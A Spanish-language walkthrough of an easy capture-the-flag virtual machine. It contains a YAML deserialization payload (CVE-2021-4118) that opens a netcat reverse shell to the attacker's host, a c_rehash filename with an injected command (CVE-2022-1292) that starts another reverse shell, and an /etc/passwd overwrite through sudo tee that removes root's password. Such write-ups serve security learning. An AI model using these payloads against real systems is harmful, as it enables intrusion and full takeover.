Autor: InfayerTS
Dificultad: Fácil
Reconocimiento
Como siempre, lo primero es un escaneo de puertos:
sudo nmap -p- 192.168.1.74
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-13 11:35 EST
Nmap scan report for 192.168.1.74
Host is up (0.00012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9090/tcp open zeus-admin
MAC Address: 08:00:27:05:46:AA (Oracle VirtualBox virtual NIC)
9090
Al navegar a esta página encuentro el siguiente comentario:
<!--Backend developed with PyTorch Lightning 1.5.9-->
Investigando PyTorch encuentro la vulnerabilidad CVE-2021-4118 con la que se puede obtener ejecución de código en el servidor.
Utilizando gobuster encuentro el archivo “file.yaml” en el servidor.
Explotación
Para conseguir una reverse shell, basandome en el “Proof of Concept” de la vulnerabilidad, ejecuto un listener en una terminal y creo el siguiente yaml:
- !!python/object/new:yaml.MappingNode
listitems: !!str '!!python/object/apply:subprocess.Popen [["nc","-e", "/bin/bash", "192.168.1.72", "1234"]]'
state:
tag: !!str dummy
value: !!str dummy
extend: !!python/name:yaml.unsafe_load
Al subirlo al servidor con el nombre “file” (la extensión la añade automaticamente el servidor), consigo shell como www-data.
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.72] from (UNKNOWN) [192.168.1.74] 34696
www-data@cve-pt1:~$ whoami
www-data
www-data@cve-pt1:~$ :)
Escalado de privilegios
Tras una extensa enumeración, descubro que el usuario wicca tiene un cronjob ejecutandose cada minuto:
www-data@cve-pt1:/etc$ grep -r wicca
[...]
cron.d/cve1:*/1 * * * * wicca c_rehash /etc/ssl/certs/
cron.d/cve1:*/1 * * * * wicca sleep 30; c_rehash /etc/ssl/certs/
[...]
El binario c_rehash tiene la vulnerabilidad CVE-2022-1292 con la cual puedo ejecutar una reverse shell y obtener acceso como el usuario wicca.
www-data@cve-pt1:/etc$ cd /etc/ssl/certs
www-data@cve-pt1:/etc/ssl/certs$ echo "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 192.168.1.72 12345\`"
Una vez se ejecute la tarea automaticamente, obtendremos una shell.
El usuario wicca tiene permiso para ejecutar tee como root, lo cual podremos utilizar para escalar privilegios.
wicca@cve-pt1:/etc/ssl/certs$ sudo -l
sudo: unable to resolve host cve-pt1: Name or service not known
Matching Defaults entries for wicca on cve-pt1:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User wicca may run the following commands on cve-pt1:
(root) NOPASSWD: /usr/bin/tee
En este caso, para no complicarme mucho creando claves, lo primero que he hecho es leer /etc/passwd, borrar la “x” en la posición de la contraseña y reescribir /etc/passwd utilizando tee. De esta forma el usuario root se quedará sin contraseña.
wicca@cve-pt1:/home$ echo "root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
avahi-autoipd:x:105:114:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
wicca:x:1000:1000:wicca,,,:/home/wicca:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin" | sudo tee /etc/passwd
De esta forma, ahora simplemente ejecuto “su” para iniciar sesion como root.
wicca@cve-pt1:/home$ su root
su root
root@cve-pt1:/home# :)
Muchas gracias a InfayerTS por esta máquina.